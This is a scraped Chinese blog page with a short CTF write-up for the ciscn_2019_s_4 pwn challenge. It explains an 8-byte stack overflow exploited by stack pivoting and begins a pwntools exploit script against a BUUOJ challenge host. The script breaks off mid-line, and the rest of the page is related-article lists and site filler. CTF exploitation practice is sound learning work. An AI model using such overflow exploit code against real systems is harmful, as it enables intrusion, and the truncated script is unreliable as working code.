【pwn】 ciscn_2019_s_4
main函數，存在八個字節溢出，棧遷移，第一次泄露ebp，獲得棧上buf地址，遷移到buf便可。node from pwn import *
io=remote('node3.buuoj.cn',28060)
leave=0x8048562
sys_plt=0x8048400
pl1='a'*0x24+'bbbb'
io.send(pl1)
io.recvuntil('bbbb')
ebp=
相關文章
- 1. buuctf ciscn_2019_s_4 pwn wp
- 2. ciscn_2019_s_4
- 3. pwn
- 4. Pwn
- 5. 【pwn】 roarctf_2019_realloc_magic
- 6. pwn forget
- 7. pwn-sctf2016
- 8. MCTF--PWN
- 9. pwn——20180831
- 10. pwn(三)
- 更多相關文章...
相關標籤/搜索
每日一句
-
每一个你不满意的现在，都有一个你没有努力的曾经。
最新文章
- 1. eclipse設置粘貼字符串自動轉義
- 2. android客戶端學習-啓動模擬器異常Emulator: failed to initialize HAX: Invalid argument
- 3. android.view.InflateException: class com.jpardogo.listbuddies.lib.views.ListBuddiesLayout問題
- 4. MYSQL8.0數據庫恢復 MYSQL8.0ibd數據恢復 MYSQL8.0恢復數據庫
- 5. 你本是一個肉體，是什麼驅使你前行【1】
- 6. 2018.04.30
- 7. 2018.04.30
- 8. 你本是一個肉體，是什麼驅使你前行【3】
- 9. 你本是一個肉體，是什麼驅使你前行【2】
- 10. 【資訊】LocalBitcoins達到每週交易比特幣的7年低點
歡迎關注本站公眾號,獲取更多信息
相關文章
- 1. buuctf ciscn_2019_s_4 pwn wp
- 2. ciscn_2019_s_4
- 3. pwn
- 4. Pwn
- 5. 【pwn】 roarctf_2019_realloc_magic
- 6. pwn forget
- 7. pwn-sctf2016
- 8. MCTF--PWN
- 9. pwn——20180831
- 10. pwn(三)